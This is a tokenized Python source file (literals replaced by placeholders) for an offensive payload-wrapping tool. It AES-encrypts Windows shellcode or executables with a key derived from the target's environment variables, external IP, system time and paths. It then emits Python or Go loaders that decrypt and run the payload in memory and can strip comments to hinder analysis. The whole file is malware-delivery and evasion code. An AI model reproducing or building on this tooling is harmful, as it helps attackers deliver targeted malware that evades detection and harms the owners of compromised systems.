<s> import hashlib <EOL> import sys <EOL> import re <EOL> import struct <EOL> import zlib <EOL> import base64 <EOL> import random <EOL> import textwrap <EOL> import os <EOL> import platform <EOL> from Crypto . Cipher import AES <EOL> from Crypto import Random <EOL> from templates . python . payloads import pe_exe <EOL> from templates . python . payloads import win_shellcode <EOL> from templates . python . payloads import code <EOL> from templates . python import env_base <EOL> from templates . python import environmentals <EOL> from templates . python import external_ip <EOL> from templates . python import system_time <EOL> from templates . python import system_paths <EOL> from templates . go import go_env_base <EOL> from templates . go import go_system_time <EOL> from templates . go import go_environmentals <EOL> from templates . go import go_external_ip <EOL> from templates . go import go_system_paths <EOL> from templates . go . payloads import go_win_shellcode <EOL> from templates . go . payloads import go_memorymodule <EOL> from cleanup import removeCommentsGo <EOL> from cleanup import removeCommentsPy <EOL> class env_encrypt : <EOL> def __init__ ( self , config , payload , payload_type , minus_bytes , output_type , key_iterations , cleanup = False ) : <EOL> self . org_payload = payload <EOL> self . config = config <EOL> self . payload = open ( payload , '<STR_LIT:r>' ) . read ( ) <EOL> print "<STR_LIT>" , len ( self . payload ) <EOL> self . lookup_table = '<STR_LIT>' <EOL> self . payload_type = payload_type <EOL> self . minus_bytes = int ( minus_bytes ) <EOL> self . key_iterations = int ( key_iterations ) <EOL> self . output_type = output_type <EOL> self . payload_loader = '<STR_LIT>' <EOL> self . payload_stack = '<STR_LIT>' <EOL> self . payload_call_stack = '<STR_LIT>' <EOL> self . go_payload_loader = '<STR_LIT>' <EOL> self . go_payload_stack = '<STR_LIT>' <EOL> self . go_payload_call_stack = '<STR_LIT>' <EOL> self . payload_imports = '<STR_LIT>' <EOL> self . cleanup = cleanup <EOL> self . go_imports = set ( ) <EOL> self . set_payload ( ) <EOL> if output_type in [ '<STR_LIT>' , '<STR_LIT>' ] : <EOL> if '<STR_LIT>' in self . payload_type . lower ( ) : <EOL> print "<STR_LIT>" <EOL> sys . exit ( - <NUM_LIT:1> ) <EOL> self . hash_payload ( ) <EOL> self . populate_variables ( ) <EOL> self . find_key_encrypt ( ) <EOL> if self . output_type == '<STR_LIT>' : <EOL> self . gen_pyloader ( ) <EOL> elif self . output_type == '<STR_LIT>' : <EOL> self . gen_goloader ( ) <EOL> elif self . output_type == '<STR_LIT>' : <EOL> self . gen_pyloader ( ) <EOL> self . gen_goloader ( ) <EOL> def set_payload ( self ) : <EOL> print "<STR_LIT>" , self . payload_type <EOL> if self . payload_type == "<STR_LIT>" : <EOL> print '<STR_LIT>' <EOL> self . payload_loader = win_shellcode . loader <EOL> self . go_payload_loader = go_win_shellcode . loader <EOL> self . payload_imports = go_win_shellcode . imports <EOL> elif self . payload_type == "<STR_LIT>" : <EOL> print '<STR_LIT>' <EOL> self . payload_loader = pe_exe . loader <EOL> self . go_payload_loader = go_memorymodule . loader <EOL> self . payload_imports = go_memorymodule . imports <EOL> elif self . payload_type == "<STR_LIT>" : <EOL> print '<STR_LIT>' <EOL> self . go_payload_loader = go_memorymodule . loader <EOL> self . payload_imports = go_memorymodule . imports <EOL> elif self . payload_type == "<STR_LIT>" : <EOL> print "<STR_LIT>" <EOL> self . go_payload_loader = go_memorymodule . loader <EOL> self . payload_imports = go_memorymodule . imports <EOL> elif self . payload_type == "<STR_LIT:code>" : <EOL> print "<STR_LIT>" <EOL> self . payload_loader = code . loader <EOL> def hash_payload ( self ) : <EOL> self . payload_hash = hashlib . sha512 ( self . payload [ : - self . minus_bytes ] ) . hexdigest ( ) <EOL> def populate_variables ( self ) : <EOL> self . used_env_strings = { } <EOL> self . env_strings = '<STR_LIT>' <EOL> self . env_vars = [ ] <EOL> self . used_path_string = { } <EOL> self . path_string = '<STR_LIT>' <EOL> self . start_loc = '<STR_LIT>' <EOL> self . external_ip_mask = '<STR_LIT>' <EOL> self . system_time = '<STR_LIT>' <EOL> for key , value in self . config . iteritems ( ) : <EOL> if key . lower ( ) == '<STR_LIT>' : <EOL> for _key , _value in value . iteritems ( ) : <EOL> if _value != '<STR_LIT>' : <EOL> self . used_env_strings [ _key ] = _value . lower ( ) <EOL> if key . lower ( ) == '<STR_LIT:path>' : <EOL> for _key , _value in value . iteritems ( ) : <EOL> if _value != '<STR_LIT>' and '<STR_LIT:path>' in _key and self . used_path_string == { } : <EOL> self . used_path_string [ _key ] = _value . lower ( ) . rstrip ( "<STR_LIT:\\>" ) <EOL> elif _key == '<STR_LIT>' : <EOL> self . start_loc = _value . rstrip ( "<STR_LIT:\\>" ) <EOL> else : <EOL> break <EOL> if key . lower ( ) == '<STR_LIT>' : <EOL> for _key , _value in value . iteritems ( ) : <EOL> if _value != '<STR_LIT>' and '<STR_LIT>' in _key : <EOL> self . external_ip_mask = _value . lower ( ) <EOL> if key . lower ( ) == '<STR_LIT>' : <EOL> self . system_time = value [ '<STR_LIT>' ] <EOL> if self . used_env_strings == { } : <EOL> print "<STR_LIT>" <EOL> else : <EOL> print "<STR_LIT>" <EOL> for key , value in sorted ( self . used_env_strings . items ( ) ) : <EOL> print "<STR_LIT>" . format ( key , value ) <EOL> self . env_strings += value <EOL> self . env_vars . append ( key ) <EOL> for key , value in sorted ( self . used_path_string . items ( ) ) : <EOL> self . path_string += value <EOL> if self . path_string != '<STR_LIT>' : <EOL> print "<STR_LIT>" , self . path_string <EOL> else : <EOL> print "<STR_LIT>" <EOL> if self . external_ip_mask != '<STR_LIT>' : <EOL> print "<STR_LIT>" , self . external_ip_mask <EOL> else : <EOL> print "<STR_LIT>" <EOL> if self . system_time != '<STR_LIT>' : <EOL> print "<STR_LIT>" , self . system_time <EOL> else : <EOL> print "<STR_LIT>" <EOL> def find_key_encrypt ( self ) : <EOL> self . key = self . env_strings + self . external_ip_mask + self . system_time <EOL> if self . path_string != '<STR_LIT>' : <EOL> self . key += self . path_string <EOL> print '<STR_LIT>' , self . key <EOL> key_iterations = self . key_iterations <EOL> print "<STR_LIT>" % key_iterations <EOL> while key_iterations > <NUM_LIT:1> : <EOL> self . key = hashlib . sha512 ( self . key ) . digest ( ) <EOL> key_iterations -= <NUM_LIT:1> <EOL> self . key = hashlib . sha512 ( self . key ) . digest ( ) [ : <NUM_LIT:32> ] <EOL> print '<STR_LIT>' , self . key . encode ( '<STR_LIT>' ) <EOL> self . iv = Random . new ( ) . read ( AES . block_size ) <EOL> cipher = AES . new ( self . key , AES . MODE_CFB , self . iv ) <EOL> self . encrypted_msg = cipher . encrypt ( self . payload ) <EOL> print '<STR_LIT>' , len ( self . encrypted_msg ) , '<STR_LIT>' , hashlib . sha512 ( self . encrypted_msg ) . hexdigest ( ) <EOL> self . lookup_table = zlib . compress ( self . iv + self . encrypted_msg ) <EOL> self . payload_loader = base64 . b64encode ( zlib . compress ( cipher . encrypt ( self . payload_loader ) ) ) <EOL> if self . output_type . lower ( ) in [ '<STR_LIT>' , '<STR_LIT>' ] : <EOL> go_block_size = <NUM_LIT> <EOL> gocipher = AES . new ( <EOL> self . key , <EOL> AES . MODE_CFB , <EOL> self . iv , <EOL> segment_size = go_block_size <EOL> ) <EOL> PADDING = "<STR_LIT:{>" <EOL> self . b64_encoded_payload = base64 . b64encode ( self . payload ) <EOL> self . payload = self . b64_encoded_payload + ( go_block_size - len ( self . b64_encoded_payload ) % go_block_size ) * PADDING <EOL> self . go_encrypted_msg = gocipher . encrypt ( self . payload ) <EOL> self . go_lookup_table = zlib . compress ( self . iv + self . go_encrypted_msg ) <EOL> def write_payload ( self ) : <EOL> if not os . path . exists ( '<STR_LIT>' ) : <EOL> os . makedirs ( '<STR_LIT>' ) <EOL> with open ( r'<STR_LIT>' + self . payload_name , '<STR_LIT:w>' ) as f : <EOL> if "<STR_LIT>" in self . payload_name and self . cleanup : <EOL> print "<STR_LIT>" <EOL> self . payload_output = removeCommentsGo ( self . payload_output , removePrint = True ) <EOL> elif "<STR_LIT>" in self . payload_name and self . cleanup : <EOL> print "<STR_LIT>" <EOL> self . payload_output = removeCommentsPy ( self . payload_output , removePrint = True ) <EOL> elif self . payload_name and self . cleanup : <EOL> print "<STR_LIT>" % ( self . payload_name ) <EOL> f . write ( self . payload_output ) <EOL> def gen_pyloader ( self ) : <EOL> self . payload_name = '<STR_LIT>' + os . path . basename ( self . org_payload ) + "<STR_LIT>" <EOL> print '<STR_LIT>' , self . payload_hash <EOL> print '<STR_LIT>' , hashlib . sha512 ( self . payload ) . hexdigest ( ) <EOL> print "<STR_LIT>" , self . payload_name <EOL> if self . env_strings != '<STR_LIT>' : <EOL> self . payload_stack += environmentals . buildcode <EOL> self . payload_call_stack += "<STR_LIT>" . format ( self . env_vars ) <EOL> self . payload_call_stack += environmentals . callcode <EOL> if self . external_ip_mask != '<STR_LIT>' : <EOL> self . payload_stack += external_ip . buildcode <EOL> self . payload_call_stack += external_ip . callcode <EOL> if self . system_time != '<STR_LIT>' : <EOL> self . payload_stack += system_time . buildcode <EOL> self . payload_call_stack += system_time . callcode <EOL> if self . path_string != '<STR_LIT>' : <EOL> self . payload_stack += system_paths . buildcode <EOL> self . payload_call_stack += system_paths . callcode <EOL> else : <EOL> self . payload_call_stack += """<STR_LIT>""" <EOL> self . payload_output = env_base . buildcode . format ( base64 . b64encode ( self . lookup_table ) , self . payload_hash , <EOL> self . minus_bytes , self . payload_loader , <EOL> self . start_loc , self . payload_stack , <EOL> self . payload_call_stack , self . key_iterations ) <EOL> self . write_payload ( ) <EOL> def gen_goloader ( self ) : <EOL> self . import_set = set ( [ "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" ] ) <EOL> if self . payload_imports != '<STR_LIT>' : <EOL> for item in self . payload_imports : self . import_set . add ( item ) <EOL> count = <NUM_LIT:0> <EOL> self . payload_name = '<STR_LIT>' + os . path . basename ( self . org_payload ) + '<STR_LIT>' <EOL> print '<STR_LIT>' , self . payload_name <EOL> if self . env_strings != '<STR_LIT>' : <EOL> for item in go_environmentals . imports : self . import_set . add ( item ) <EOL> self . go_payload_stack += go_environmentals . buildcode <EOL> self . go_payload_call_stack += "<STR_LIT>" . format ( "<STR_LIT>" . join ( self . env_vars ) ) <EOL> self . go_payload_call_stack += go_environmentals . callcode <EOL> count += <NUM_LIT:1> <EOL> if self . external_ip_mask != '<STR_LIT>' : <EOL> for item in go_external_ip . imports : self . import_set . add ( item ) <EOL> self . go_payload_stack += go_external_ip . buildcode <EOL> self . go_payload_call_stack += go_external_ip . callcode <EOL> count += <NUM_LIT:1> <EOL> if self . system_time != '<STR_LIT>' : <EOL> for item in go_system_time . imports : self . import_set . add ( item ) <EOL> self . go_payload_stack += go_system_time . buildcode <EOL> self . go_payload_call_stack += go_system_time . callcode <EOL> count += <NUM_LIT:1> <EOL> if self . path_string != '<STR_LIT>' : <EOL> for item in go_system_paths . imports : self . import_set . add ( item ) <EOL> self . go_payload_stack += go_system_paths . buildcode <EOL> self . go_payload_call_stack += go_system_paths . callcode <EOL> count += <NUM_LIT:1> <EOL> else : <EOL> self . go_payload_call_stack += """<STR_LIT>""" <EOL> go_imports = '<STR_LIT>' <EOL> for item in self . import_set : <EOL> go_imports += "<STR_LIT>" + item + "<STR_LIT>" <EOL> self . payload_output = go_env_base . buildcode . format ( base64 . b64encode ( self . go_lookup_table ) , self . payload_hash , <EOL> self . minus_bytes , self . go_payload_loader , <EOL> self . start_loc , self . go_payload_stack , <EOL> self . go_payload_call_stack , count , go_imports , <EOL> self . key_iterations , int ( self . key_iterations ) ) <EOL> self . write_payload ( ) </s>
